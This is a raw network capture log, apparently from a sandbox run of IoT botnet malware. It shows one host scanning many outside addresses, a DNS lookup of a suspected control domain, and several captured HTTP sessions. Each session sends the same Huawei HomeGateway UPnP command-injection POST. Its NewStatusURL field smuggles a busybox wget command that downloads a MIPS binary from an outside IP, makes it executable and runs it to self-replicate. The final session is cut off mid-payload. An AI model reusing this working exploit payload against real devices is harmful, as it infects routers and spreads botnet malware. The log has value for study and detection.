Jul 20, 2024 23:01:00.453202009 CEST	44240	52869	192.168.2.23	153.94.71.254
Jul 20, 2024 23:01:00.453445911 CEST	33030	8081	192.168.2.23	88.227.232.46
Jul 20, 2024 23:01:00.454086065 CEST	8081	53084	2.135.159.238	192.168.2.23
Jul 20, 2024 23:01:00.454369068 CEST	37215	57736	41.242.166.123	192.168.2.23
Jul 20, 2024 23:01:00.454407930 CEST	57736	37215	192.168.2.23	41.242.166.123
Jul 20, 2024 23:01:00.454823971 CEST	60858	52869	192.168.2.23	86.219.42.227
Jul 20, 2024 23:01:00.455595016 CEST	45668	8081	192.168.2.23	111.130.255.185
Jul 20, 2024 23:01:00.455595016 CEST	45668	8081	192.168.2.23	111.130.255.185
Jul 20, 2024 23:01:00.455847979 CEST	80	47068	88.147.238.16	192.168.2.23
Jul 20, 2024 23:01:00.455885887 CEST	47068	80	192.168.2.23	88.147.238.16
Jul 20, 2024 23:01:00.456423044 CEST	8081	53388	2.135.159.238	192.168.2.23
Jul 20, 2024 23:01:00.456491947 CEST	53388	8081	192.168.2.23	2.135.159.238
Jul 20, 2024 23:01:00.456607103 CEST	8081	54398	202.129.62.180	192.168.2.23
Jul 20, 2024 23:01:00.457000971 CEST	60674	37215	192.168.2.23	157.114.148.67
Jul 20, 2024 23:01:00.457536936 CEST	54344	80	192.168.2.23	88.11.70.93
Jul 20, 2024 23:01:00.457540035 CEST	8081	60962	88.227.232.46	192.168.2.23
Jul 20, 2024 23:01:00.457775116 CEST	45968	8081	192.168.2.23	111.130.255.185
Jul 20, 2024 23:01:00.458388090 CEST	37215	54854	157.21.145.183	192.168.2.23
Jul 20, 2024 23:01:00.458426952 CEST	54854	37215	192.168.2.23	157.21.145.183
Jul 20, 2024 23:01:00.458770037 CEST	8081	33030	88.227.232.46	192.168.2.23
Jul 20, 2024 23:01:00.458812952 CEST	33030	8081	192.168.2.23	88.227.232.46
Jul 20, 2024 23:01:00.459834099 CEST	43394	8081	192.168.2.23	39.240.140.73
Jul 20, 2024 23:01:00.459834099 CEST	43394	8081	192.168.2.23	39.240.140.73
Jul 20, 2024 23:01:00.460498095 CEST	52869	60858	86.219.42.227	192.168.2.23
Jul 20, 2024 23:01:00.460537910 CEST	60858	52869	192.168.2.23	86.219.42.227
Jul 20, 2024 23:01:00.460633039 CEST	8081	57126	221.218.195.172	192.168.2.23
Jul 20, 2024 23:01:00.461039066 CEST	8081	45668	111.130.255.185	192.168.2.23
Jul 20, 2024 23:01:00.461415052 CEST	43688	8081	192.168.2.23	39.240.140.73
Jul 20, 2024 23:01:00.461703062 CEST	42912	37215	192.168.2.23	156.90.210.240
Jul 20, 2024 23:01:00.462253094 CEST	37215	60674	157.114.148.67	192.168.2.23
Jul 20, 2024 23:01:00.462297916 CEST	60674	37215	192.168.2.23	157.114.148.67
Jul 20, 2024 23:01:00.462563038 CEST	57824	52869	192.168.2.23	43.227.14.32
Jul 20, 2024 23:01:00.462567091 CEST	80	54344	88.11.70.93	192.168.2.23
Jul 20, 2024 23:01:00.462600946 CEST	54344	80	192.168.2.23	88.11.70.93
Jul 20, 2024 23:01:00.463507891 CEST	51138	8081	192.168.2.23	108.204.100.190
Jul 20, 2024 23:01:00.463509083 CEST	51138	8081	192.168.2.23	108.204.100.190
Jul 20, 2024 23:01:00.463665009 CEST	8081	45968	111.130.255.185	192.168.2.23
Jul 20, 2024 23:01:00.464195013 CEST	45968	8081	192.168.2.23	111.130.255.185
Jul 20, 2024 23:01:00.464607954 CEST	8081	40644	212.120.55.123	192.168.2.23
Jul 20, 2024 23:01:00.464970112 CEST	8081	43394	39.240.140.73	192.168.2.23
Jul 20, 2024 23:01:00.465682983 CEST	55202	80	192.168.2.23	88.38.39.40
Jul 20, 2024 23:01:00.465779066 CEST	51432	8081	192.168.2.23	108.204.100.190
Jul 20, 2024 23:01:00.466387987 CEST	38424	37215	192.168.2.23	41.90.83.142
Jul 20, 2024 23:01:00.466480017 CEST	8081	43688	39.240.140.73	192.168.2.23
Jul 20, 2024 23:01:00.466511011 CEST	43688	8081	192.168.2.23	39.240.140.73
Jul 20, 2024 23:01:00.466952085 CEST	37215	42912	156.90.210.240	192.168.2.23
Jul 20, 2024 23:01:00.467128992 CEST	42912	37215	192.168.2.23	156.90.210.240
Jul 20, 2024 23:01:00.467807055 CEST	52869	57824	43.227.14.32	192.168.2.23
Jul 20, 2024 23:01:00.467847109 CEST	57824	52869	192.168.2.23	43.227.14.32
Jul 20, 2024 23:01:00.468168974 CEST	36132	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:01:00.468168974 CEST	36132	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:01:00.468828917 CEST	8081	43544	88.53.96.249	192.168.2.23
Jul 20, 2024 23:01:00.469153881 CEST	36422	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:01:00.469157934 CEST	8081	51138	108.204.100.190	192.168.2.23
Jul 20, 2024 23:01:00.470315933 CEST	49320	52869	192.168.2.23	154.97.74.140
Jul 20, 2024 23:01:00.470432997 CEST	48956	37215	192.168.2.23	41.95.27.201
Jul 20, 2024 23:01:00.470758915 CEST	80	55202	88.38.39.40	192.168.2.23
Jul 20, 2024 23:01:00.470798016 CEST	55202	80	192.168.2.23	88.38.39.40
Jul 20, 2024 23:01:00.471249104 CEST	8081	51432	108.204.100.190	192.168.2.23
Jul 20, 2024 23:01:00.471298933 CEST	51432	8081	192.168.2.23	108.204.100.190
Jul 20, 2024 23:01:00.471431017 CEST	46070	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:01:00.471431017 CEST	46070	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:01:00.472378016 CEST	37215	38424	41.90.83.142	192.168.2.23
Jul 20, 2024 23:01:00.472492933 CEST	38424	37215	192.168.2.23	41.90.83.142
Jul 20, 2024 23:01:00.473052025 CEST	56786	80	192.168.2.23	88.68.111.58
Jul 20, 2024 23:01:00.473159075 CEST	46362	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:01:00.473314047 CEST	8081	36132	51.75.205.142	192.168.2.23
Jul 20, 2024 23:01:00.474737883 CEST	8081	36422	51.75.205.142	192.168.2.23
Jul 20, 2024 23:01:00.474786997 CEST	47368	37215	192.168.2.23	197.224.26.246
Jul 20, 2024 23:01:00.474881887 CEST	36422	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:01:00.475337982 CEST	52869	49320	154.97.74.140	192.168.2.23
Jul 20, 2024 23:01:00.475501060 CEST	57572	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:01:00.475501060 CEST	57572	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:01:00.475509882 CEST	49320	52869	192.168.2.23	154.97.74.140
Jul 20, 2024 23:01:00.476356983 CEST	37215	48956	41.95.27.201	192.168.2.23
Jul 20, 2024 23:01:00.476492882 CEST	48956	37215	192.168.2.23	41.95.27.201
Jul 20, 2024 23:01:00.476731062 CEST	8081	36084	213.137.199.164	192.168.2.23
Jul 20, 2024 23:01:00.476742983 CEST	8081	49520	79.211.170.14	192.168.2.23
Jul 20, 2024 23:01:00.476950884 CEST	8081	46070	182.180.214.71	192.168.2.23
Jul 20, 2024 23:01:00.476999998 CEST	57860	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:01:00.478094101 CEST	80	56786	88.68.111.58	192.168.2.23
Jul 20, 2024 23:01:00.478128910 CEST	56786	80	192.168.2.23	88.68.111.58
Jul 20, 2024 23:01:00.478359938 CEST	35420	52869	192.168.2.23	68.46.168.107
Jul 20, 2024 23:01:00.478858948 CEST	8081	46362	182.180.214.71	192.168.2.23
Jul 20, 2024 23:01:00.478910923 CEST	46362	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:01:00.479446888 CEST	33926	8081	192.168.2.23	219.54.135.72
Jul 20, 2024 23:01:00.479446888 CEST	33926	8081	192.168.2.23	219.54.135.72
Jul 20, 2024 23:01:00.479712009 CEST	35058	37215	192.168.2.23	105.15.118.157
Jul 20, 2024 23:01:00.480169058 CEST	37215	47368	197.224.26.246	192.168.2.23
Jul 20, 2024 23:01:00.480216026 CEST	47368	37215	192.168.2.23	197.224.26.246
Jul 20, 2024 23:01:00.480782986 CEST	8081	40754	48.252.220.101	192.168.2.23
Jul 20, 2024 23:01:00.480858088 CEST	8081	57572	34.165.154.242	192.168.2.23
Jul 20, 2024 23:01:00.481374025 CEST	54198	80	192.168.2.23	88.151.51.17
Jul 20, 2024 23:01:00.481477976 CEST	34216	8081	192.168.2.23	219.54.135.72
Jul 20, 2024 23:01:00.482336998 CEST	8081	57860	34.165.154.242	192.168.2.23
Jul 20, 2024 23:01:00.482507944 CEST	57860	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:01:00.483392954 CEST	52869	35420	68.46.168.107	192.168.2.23
Jul 20, 2024 23:01:00.483443022 CEST	35420	52869	192.168.2.23	68.46.168.107
Jul 20, 2024 23:01:00.483752012 CEST	56800	8081	192.168.2.23	89.224.68.64
Jul 20, 2024 23:01:00.483752012 CEST	56800	8081	192.168.2.23	89.224.68.64
Jul 20, 2024 23:01:00.484255075 CEST	42260	37215	192.168.2.23	41.112.123.1
Jul 20, 2024 23:01:00.484498024 CEST	8081	33926	219.54.135.72	192.168.2.23
Jul 20, 2024 23:01:00.484883070 CEST	8081	55116	114.223.71.65	192.168.2.23
Jul 20, 2024 23:01:00.484942913 CEST	37215	35058	105.15.118.157	192.168.2.23
Jul 20, 2024 23:01:00.484987020 CEST	35058	37215	192.168.2.23	105.15.118.157
Jul 20, 2024 23:01:00.485398054 CEST	57084	8081	192.168.2.23	89.224.68.64
Jul 20, 2024 23:01:00.486362934 CEST	39610	52869	192.168.2.23	119.8.134.128
Jul 20, 2024 23:01:00.486644983 CEST	80	54198	88.151.51.17	192.168.2.23
Jul 20, 2024 23:01:00.486684084 CEST	54198	80	192.168.2.23	88.151.51.17
Jul 20, 2024 23:01:00.486752987 CEST	8081	34216	219.54.135.72	192.168.2.23
Jul 20, 2024 23:01:00.486784935 CEST	34216	8081	192.168.2.23	219.54.135.72
Jul 20, 2024 23:01:00.487246037 CEST	37942	8081	192.168.2.23	155.103.57.93
Jul 20, 2024 23:01:00.487246037 CEST	37942	8081	192.168.2.23	155.103.57.93
Jul 20, 2024 23:01:00.488604069 CEST	8081	33230	5.251.164.105	192.168.2.23
Jul 20, 2024 23:01:00.488724947 CEST	33984	37215	192.168.2.23	41.137.58.228
Jul 20, 2024 23:01:00.488790035 CEST	8081	56800	89.224.68.64	192.168.2.23
Jul 20, 2024 23:01:00.489366055 CEST	56064	80	192.168.2.23	88.35.165.7
Jul 20, 2024 23:01:00.489377975 CEST	38228	8081	192.168.2.23	155.103.57.93
Jul 20, 2024 23:01:00.489589930 CEST	37215	42260	41.112.123.1	192.168.2.23
Jul 20, 2024 23:01:00.489629984 CEST	42260	37215	192.168.2.23	41.112.123.1
Jul 20, 2024 23:01:00.490639925 CEST	8081	57084	89.224.68.64	192.168.2.23
Jul 20, 2024 23:01:00.490783930 CEST	57084	8081	192.168.2.23	89.224.68.64
Jul 20, 2024 23:01:00.491755009 CEST	52869	39610	119.8.134.128	192.168.2.23
Jul 20, 2024 23:01:00.491795063 CEST	39610	52869	192.168.2.23	119.8.134.128
Jul 20, 2024 23:01:00.491946936 CEST	52722	8081	192.168.2.23	166.54.160.22
Jul 20, 2024 23:01:00.491946936 CEST	52722	8081	192.168.2.23	166.54.160.22
Jul 20, 2024 23:01:00.492408037 CEST	8081	37942	155.103.57.93	192.168.2.23
Jul 20, 2024 23:01:00.493272066 CEST	53002	8081	192.168.2.23	166.54.160.22
Jul 20, 2024 23:01:00.493616104 CEST	36698	37215	192.168.2.23	157.83.139.204
Jul 20, 2024 23:01:00.493913889 CEST	8081	55174	188.250.198.110	192.168.2.23
Jul 20, 2024 23:01:00.494023085 CEST	37215	33984	41.137.58.228	192.168.2.23
Jul 20, 2024 23:01:00.494060993 CEST	33984	37215	192.168.2.23	41.137.58.228
Jul 20, 2024 23:01:00.494487047 CEST	80	56064	88.35.165.7	192.168.2.23
Jul 20, 2024 23:01:00.494529963 CEST	56064	80	192.168.2.23	88.35.165.7
Jul 20, 2024 23:01:00.494679928 CEST	57512	52869	192.168.2.23	151.194.118.37
Jul 20, 2024 23:01:00.495554924 CEST	46866	8081	192.168.2.23	113.225.23.155
Jul 20, 2024 23:01:00.495554924 CEST	46866	8081	192.168.2.23	113.225.23.155
Jul 20, 2024 23:01:00.495683908 CEST	8081	38228	155.103.57.93	192.168.2.23
Jul 20, 2024 23:01:00.495862007 CEST	38228	8081	192.168.2.23	155.103.57.93
Jul 20, 2024 23:01:00.496822119 CEST	8081	53084	2.135.159.238	192.168.2.23
Jul 20, 2024 23:01:00.497196913 CEST	8081	52722	166.54.160.22	192.168.2.23
Jul 20, 2024 23:01:00.497468948 CEST	45146	80	192.168.2.23	88.155.58.50
Jul 20, 2024 23:01:00.497716904 CEST	47146	8081	192.168.2.23	113.225.23.155
Jul 20, 2024 23:01:00.497947931 CEST	36536	37215	192.168.2.23	157.118.19.128
Jul 20, 2024 23:01:00.498434067 CEST	8081	53002	166.54.160.22	192.168.2.23
Jul 20, 2024 23:01:00.498478889 CEST	53002	8081	192.168.2.23	166.54.160.22
Jul 20, 2024 23:01:00.498884916 CEST	37215	36698	157.83.139.204	192.168.2.23
Jul 20, 2024 23:01:00.499011993 CEST	36698	37215	192.168.2.23	157.83.139.204

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 23:00:56.816505909 CEST	192.168.2.23	8.8.8.8	0xd134	Standard query (0)	vector.mineheaven.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 23:00:56.829720974 CEST	8.8.8.8	192.168.2.23	0xd134	No error (0)	vector.mineheaven.org		15.235.203.214	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	36734	157.189.55.135	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220685005 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	48860	157.115.56.95	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220817089 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	33462	41.107.86.189	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220833063 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	45112	157.87.181.134	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220865965 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	40282	23.141.91.228	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220905066 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	40788	157.147.238.186	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220899105 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 